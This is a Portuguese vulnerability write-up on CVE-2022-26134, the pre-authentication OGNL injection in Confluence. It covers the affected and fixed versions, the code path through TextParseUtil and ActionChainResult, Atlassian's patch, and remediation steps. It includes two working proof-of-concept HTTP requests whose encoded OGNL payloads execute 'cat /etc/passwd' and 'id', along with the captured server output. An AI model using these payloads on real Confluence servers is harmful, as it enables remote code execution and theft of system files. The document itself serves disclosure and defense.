
[CVE-2022-26134] Injeção de Object-Graph Navigation Language (OGNL) Pré-Autenticação no Confluence
[CVE-2022-26134] Injeção de Object-Graph Navigation Language (OGNL) pré-autenticação no Confluence
O Confluence é um produto de colaboração em workspace baseado na web, desenvolvido pela Atlassian. Ele pode ser implantado localmente (on-premises) ou como parte do Atlassian Cloud. É composto por 3 recursos principais: página, espaço e árvore de páginas.
Em 2022-06-02 às 20:00 UTC, a Atlassian divulgou um Aviso de Segurança relacionado a uma vulnerabilidade de execução remota de código (RCE) que afeta os produtos Confluence Server e Confluence Data Center. Você pode encontrar informações detalhadas sobre a vulnerabilidade CVE-2022-26134 abaixo.
Resumo: CVE-2022-26134 - Vulnerabilidade de severidade crítica de execução remota de código não autenticada no Confluence Server e Data Center
Data de divulgação do aviso: 02 de junho de 2022
Produtos afetados: Confluence Server e Confluence Data Center
Versões afetadas: Todas as versões suportadas do Confluence Server e Data Center são afetadas. As versões do Confluence Server e Data Center posteriores à 1.3.0 são afetadas.
Versões corrigidas: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 e 7.18.1
CVE-2022-26134 Injeção de Object-Graph Navigation Language (OGNL) pré-autenticação no Confluence
Exemplo de Requisição 1
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Resposta 1
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

Prova de conceito: Exemplo de Requisição 2
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Resposta 2
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close
Como a vulnerabilidade funciona?
O trecho /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ na URL é interpretado pelo Confluence como namespace. Em seguida, o código usa translateVariables (parte dos utilitários de análise de texto do Confluence) nesse namespace. Como o translateVariables usa OGNL, o ataque será analisado e avaliado.
O OgnlValueStack findValue(str) é importante, pois é o ponto de partida para a avaliação da expressão OGNL. Como você pode ver no trecho abaixo, TextParseUtil.class invoca OgnlValueStack.findValue quando essa vulnerabilidade é explorada.
public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
ActionChainResult.class chama TextParseUtil.translateVariables usando this.namespace como a expressão fornecida:
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Onde namespace é criado a partir da string do URI da requisição em com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
O resultado é que o URI fornecido pelo atacante será traduzido em um namespace, que então chegará à avaliação da expressão OGNL. Em linhas gerais, isso é muito semelhante ao CVE-2018-11776, a vulnerabilidade de injeção de OGNL no namespace do Apache Struts2.
A Análise do Patch
A Atlassian orientou os clientes a substituir xwork-1.0.3.6.jar pelo recém-lançado xwork-1.0.3-atlassian-10.jar. Os jars do xwork contêm o ActionChainResult.class e o TextParseUtil.class, que identificamos como o caminho para a avaliação da expressão OGNL.
O patch faz uma série de pequenas alterações para corrigir esse problema. Por exemplo, namespace não é mais passado para TextParseUtil.translateVariables a partir de ActionChainResult.execute:
Antes
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Depois
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
String finalNamespace = this.namespace;
String finalActionName = this.actionName;
Graças à saída do comando git diff, você pode ver as diferenças antes e depois do patch em ActionChainResult.class na captura de tela abaixo. (copiado da postagem do blog da Datalog)
A Atlassian também adicionou SafeExpressionUtil.class ao xworks jar. SafeExpressionUtil.class fornece filtragem de expressões inseguras e foi inserido em OgnlValueStack.class para examinar expressões quando findValue é invocado. Por exemplo:
public Object findValue(String expr) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null && this.overrides.containsKey(expr))
O que as organizações podem fazer para se proteger contra essa vulnerabilidade?
Agora que um patch está disponível, atualize para uma versão corrigida do Confluence. Se a aplicação do patch não for viável neste momento, a Atlassian forneceu instruções temporárias de workaround para clientes, com base nas versões do Confluence. Ambas exigem desligar o Confluence temporariamente enquanto as mitigações são aplicadas. Para mais informações, consulte a orientação específica do aviso da Atlassian:
Para obter mais informações sobre a remediação dessa vulnerabilidade, visite os seguintes recursos: